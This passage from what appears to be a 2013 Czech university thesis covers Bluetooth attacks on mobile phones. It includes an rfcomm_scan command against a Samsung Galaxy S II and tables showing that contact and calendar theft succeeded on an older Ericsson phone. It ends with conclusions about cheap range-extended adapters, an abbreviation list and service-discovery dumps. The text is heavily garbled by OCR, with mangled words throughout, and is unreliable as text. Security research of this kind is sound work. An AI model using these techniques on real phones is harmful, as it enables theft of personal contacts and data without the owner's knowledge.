rfcomm_scan -S 00:15:83:3D:0A:57 -0 -s 12 - e 12BBL1:2E:6C:B9

Zdalo se, Ze termindl po zadarttikazu festal reagovat, ale skript se snazil ditev
12. RFCOMM kanal pro komunikaci. Bohuzel m&ritakZze po #kolika minutach skript

vypsal hlasku:

Request timed out

Timto pikazem skript ko#&i, smartphone jiz pouziva jiné cesty ke komunikaci

s telefonnim seznamem, testoval jsemé&jekdlSi skripty, ale ani jeden pro smartphone
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nefunguje. TakZe dobra zprava pro majitele smartphjelikoz k jejich daim se pomoci

Bluetooth technologie Utaik jiz nedostane.
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Tabulka 4 zobrazuje seznam &Spych a neusggnych operaci.

Operace Usgch
Detekce z#zeni ANO
Vypis podrobnosti zézeni ANO
Oteweni RFCOMM kanalu pro komunikaci NE
Stahnuti seznamu s kontakty NE
Stahnuti kalend@ NE
MoZznost ukladani dat do telefonu NE

Tabulka 4. Seznam G&sych a neusgnych operaci

Operace Samsung Galaxy Sll | Ericsson T6¢§
Detekce z#izeni ANO ANO
Vypis podrobnosti zé&zeni ANO ANO
Oteweni RFCOMM kanélu pro komunikac NE ANO
Stahnuti seznamu s kontakty NE ANO
Stahnuti kalendé NE ANO
Moznost ukladani dat do telefonu NE ANO

Tabulka 5. Souhrnna tabulka @Spych a neusidnych operaci.

s



UTB ve Zling, Fakulta aplikované informatiky, 2013 58

ZAVER

V mé praci jsem zrealizoval ¢kolik UspSnych (tok na mobilni telefon
prostednictvim technologie Bluetooth. Tyto Utoky jsowlreovany diky bezp@ostnim
chybam v Bluetooth technologii, nikoliv diky nedaiadosti firmware mobilniho telefonu,
takZze je nelze odstranit Zmou firmware telefonu. Vyrobci mobilnich teleforpjsou si
téchto bezpénostnich chyb &domi, ale operéani systémy, vyjma Android, iOS a Symbian,
nedokazi s Bluetooth technologii be&me spolupracovat. Majitelé mobilnich teleton
s operanimi systémy Android, iOS a Symbian, mohou byt trete klidni. Bluetooth
technologie pracujici podito oper&nimi systémy zaznamenala vyrazny beénopstni
pokrok ve srovnani s ,hloupymi“ telefony (telefomyproprietalnimi opetaimi systémy),

to dokazuji testy v praktick&sti mé prace.

Technologie Bluetooth je ekonomicky velnfijatelnd, takZze potencionalni dtdk
maze realizovat Utoky velmi lewn Uprava standardniho USB Bluetooth adaptéru
s dosahem kolem 20 métna USB Bluetooth adaptér s dosahaesp’5 mefr je investice
v fadech stovek korun. Navic konstrukce USB Bluet@ataptéru je vcelku jednoduchéa a
jeho Uprava je tak mozna vdomacich podminkadch zauzip bizného

elektromechanického tedi.

Bluetooth technologie, podle mého nézoru, je & j@buho bude nejvyuzivajsi
technologii pro bezdratovyignos dat na kratké vzdalenosti. Posledni dobaiinagh
vyrobci hovdit o nahrazeni Bluetooth technologii Wi-Fi Dire&tera taktéZz umaitje
bezdratovy fenos dat mezi ¥&zenimi bez pdeby gistupového bodu. Technologie Wi-Fi
Direct by n€la mit vysSi zabezgeni, ale vyrobci této technologie zatim rigiou zardit
nizkou cenu, miniaturni roz¥ry, nizkou energetickou nanaost a univerzalnost, tak jako u

technologie Bluetooth.

Nejjednodussi obranourgd Utokem na mobilni telefon préstinictvim Bluetooth
technologie je vypnuti této sluzby, pokud neni m@pouzivana. Jenze nezkuSeny uzivatel
nemusi poznat, zda je sluzba v provozu, nebo jejigdtelném stavu, aip samotném

atoku tento atok na mobilnim telefonu nijak neijist



UTB ve Zling, Fakulta aplikované informatiky, 2013 59

ZAVER V ANGLI CTINE

In my thesis | implemented several successful ktaio mobile phone via
Bluetooth. These attacks are realized due to dgcemiors in Bluetooth technology, not
because firmware errors in mobile phone, so theytdse removed after phone's firmware
change. Mobile phone manufacturers are know thesarity errors, but the operating
systems, excluding Android, iOS and Symbian, caménge secure work via Bluetooth
technology. Owners of mobile phones with AndrofdSiand Symbian, may be relatively
calm. Bluetooth technology working under these apeg systems, take security progress
in comparison with the "feature” phones (phones witoprietary operating systems), it

prove tests in the practical part of my work.

Bluetooth technology is economically very accepmalsio a potential attacker can
carry out attacks very cheaply. Adjustment of dead USB Bluetooth adapter with a
range of around 20 meters to USB Bluetooth adapiir a range of over 75 meters, is
investment in the hundreds of crowns. Furthermtre,design USB Bluetooth adapter is

relatively simple and its adjustment is possibla@he with using a ordinary electric tools.

In my opinion, Bluetooth technology is still mosteduently used wireless
technology for data transmission over short disandn last time, are manufacturers
talking about replacement the Bluetooth technologyVi-Fi Direct, which also provides
wireless transmission of data between devices witlwocess point. Wi-Fi Direct should
have better security, but manufacturers of thisinetogy can't provide low price, small

size, low energy consumption and versatility, aseBloth technology.

The simplest defense against attack to mobile phmdluetooth technology is
turn off service, if not currently using. But inexqenced user don't know, If is service in

operation or in discoverable state, and attackmohile phone does not detect.
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SEZNAM POUZITYCH SYMBOL U A ZKRATEK

A2DP
ACL
AMADDR
AR_ADDR
ARQON
AT
AVRCP
BD_ADDR
BPP

CID

CRC

CTP
cw_pin
cw_scanner
DUNP
ESCO
FEC
FHSS

FSK

FTP

GAP
GFSK

HC

HCI

Advanced Audio Distribution Profile
Asynchronous connection oriented
Active Member Address

Access Request Address

Automatic Repeat Request Numer
Attention

Audio/Video Remote Control Profile
Bluetooth Device Address

Basic Printing Profile

Channel identifier

Cyclic Redundancy Check

Cordless Telephony Profile
CarWhisperer Personal Identification Number
CarWhisperer scanner

Dial-Up Networking Profile

Extended Synchronous connection oriented
Forward Error Correction

Frequency Hopping Spread Spectrum
Frequency shift keying

File Transfer Profile

Generic access profile

Gaussian Frequency shift keying
Host Controller

Host Controller Interface
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HF Handsfree

HFP Hands Free Profile

HSP Headset Profile

ICP InterCom Profile

IEEE Institute of Electrical and Electronics Engineers
ISM Industrial, Scientific Medical

L2CAP Logical Link Control and Adaptation Protocol
LLID L ogical Link Identifier

LMP Link Manager Protocol

LT _ADDR Logical Transport Address

OBEX OBject EXchange

PBAP Phone Book Access Profile
PC Personal Computer

PDA Personal Digital Assistant
PDU Protocol Data Unit

PIN Personal Identification Number

PM_ADDR Parked Member Address
QoS Quiality of Service
RF Radio Frequency

RFCOMM  Radio Frequency Communication

RSMA Reverse polarity SMA

SCO Synchronous connection oriented
SDAP Service discovery application profile
SDP Service Discovery Protocol

SEQN Sequential bit
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SMA SubMiniature version A

SPP Serial Port Profile

SDP Service Discovery Protocol

TCP/IP Transmission Control Protocol / Internet Protocol
TCS Telephony Control protocol Specification
TDD Time-division duplexing

UDP/IP User Datagram Protocol / Internet Protocol
USB Universal Serial Bus

uUsD United States dollar

VDP Video Distribution Profile

Wi-Fi Wireless Fidelity

WIMAX Worldwide Interoperability for Microwave Access
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PRILOHA P |: VYPIS PODROBNOSTI SAMSUNG GALAXY S|

Browsing E4:B0:21:2E:6C:B9 ...
Service RecHandle: 0x10000
Service Class ID List:
"PnP Information" (0x1200)
Profile Descriptor List:
"PnP Information" (0x1200)
Version: 0x0102

Service Name: Audio Source
Service RecHandle: 0x10001
Service Class ID List:
"Audio Source" (0x110a)
Protocol Descriptor List:
"L2CAP" (0x0100)
PSM: 25
"AVDTP" (0x0019)
uint16: 0x102
Profile Descriptor List:
"Advanced Audio" (0x110d)
Version: 0x0102

Service Name: AVRCP TG
Service RecHandle: 0x10002
Service Class ID List:
"AV Remote Target" (0x110c)
Protocol Descriptor List:
"L2CAP" (0x0100)
PSM: 23
"AVCTP" (0x0017)
uint1l6: 0x103
Profile Descriptor List:
"AV Remote" (0x110e)
Version: 0x0103

Service Name: Voice Gateway
Service RecHandle: 0x10003
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 11
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0102



Service Name: OBEX Object Push
Service RecHandle: 0x10004
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 12
"OBEX" (0x0008)
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100

Service Name: OBEX Phonebook Access Server
Service RecHandle: 0x10005
Service Class ID List:
"Phonebook Access - PSE" (0x112f)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 19
"OBEX" (0x0008)
Profile Descriptor List:
"Phonebook Access" (0x1130)
Version: 0x0100

Service Name: Voice Gateway
Service RecHandle: 0x10006
Service Class ID List:
"Handfree Audio Gateway" (Ox111f)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
Profile Descriptor List:
"Handsfree" (Ox111e)
Version: 0x0105

Service Name: Network service
Service Description: Network service
Service RecHandle: 0x10007
Service Class ID List:
"Network Access Point" (0x1116)
Protocol Descriptor List:
"L2CAP" (0x0100)
PSM: 15
"BNEP" (0x000f)
Version: 0x0100



SEQ16: 800 806
Language Base Attr List:
code 1SO639: 0x656e
encoding: Ox6a
base_ offset: 0x100
Profile Descriptor List:
"Network Access Point" (0x1116)
Version: 0x0100

Service Name: Android SMS
Service RecHandle: 0x10008
Service Class ID List:

" (0x1132)

Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)

Channel: 20
"OBEX" (0x0008)

Profile Descriptor List:
" (0x1134)

Version: 0x0100

Service Name: SIM Access Server
Service RecHandle: 0x10009
Service Class ID List:
"SIM Access" (0x112d)
"Generic Telephony" (0x1204)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 8
Profile Descriptor List:
"SIM Access" (0x112d)
Version: 0x0101
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Browsing 00:80:37:51:F3:68 ...
Service Name: Dial-up Networking
Service RecHandle: 0x10000
Service Class ID List:
"Dialup Networking" (0x1103)
"Generic Networking" (0x1201)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 1
Profile Descriptor List:
"Dialup Networking" (0x1103)
Version: 0x0100

Service Name: Fax
Service RecHandle: 0x10001
Service Class ID List:
"Fax" (0x1111)
"Generic Telephony" (0x1204)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 2
Profile Descriptor List:
"Fax" (0x1111)
Version: 0x0100

Service Name: Voice gateway
Service RecHandle: 0x10002
Service Class ID List:
"Headset Audio Gateway" (0x1112)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 3
Profile Descriptor List:
"Headset" (0x1108)
Version: 0x0100

Service Name: Serial Port 1
Service RecHandle: 0x10003
Service Class ID List:
"Serial Port" (0x1101)
Protocol Descriptor List:
"L2CAP" (0x0100)



"RFCOMM" (0x0003)
Channel: 4
Service Name: Serial Port 2
Service RecHandle: 0x10004
Service Class ID List:
"Serial Port" (0x1101)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 5

Service Name: OBEX Object Push
Service RecHandle: 0x10005
Service Class ID List:
"OBEX Object Push" (0x1105)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 10
"OBEX" (0x0008)
Profile Descriptor List:
"OBEX Object Push" (0x1105)
Version: 0x0100

Service Name: IrMC Synchronization
Service RecHandle: 0x10006
Service Class ID List:
“IrMC Sync" (0x1104)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 11
"OBEX" (0x0008)
Profile Descriptor List:
“IrMC Sync" (0x1104)
Version: 0x0100

Service Name: Voice gateway
Service RecHandle: 0x1000f
Service Class ID List:
"Handfree Audio Gateway" (Ox111f)
"Generic Audio" (0x1203)
Protocol Descriptor List:
"L2CAP" (0x0100)
"RFCOMM" (0x0003)
Channel: 6
Profile Descriptor List:
"Handsfree" (Ox111e)
Version: 0x0100



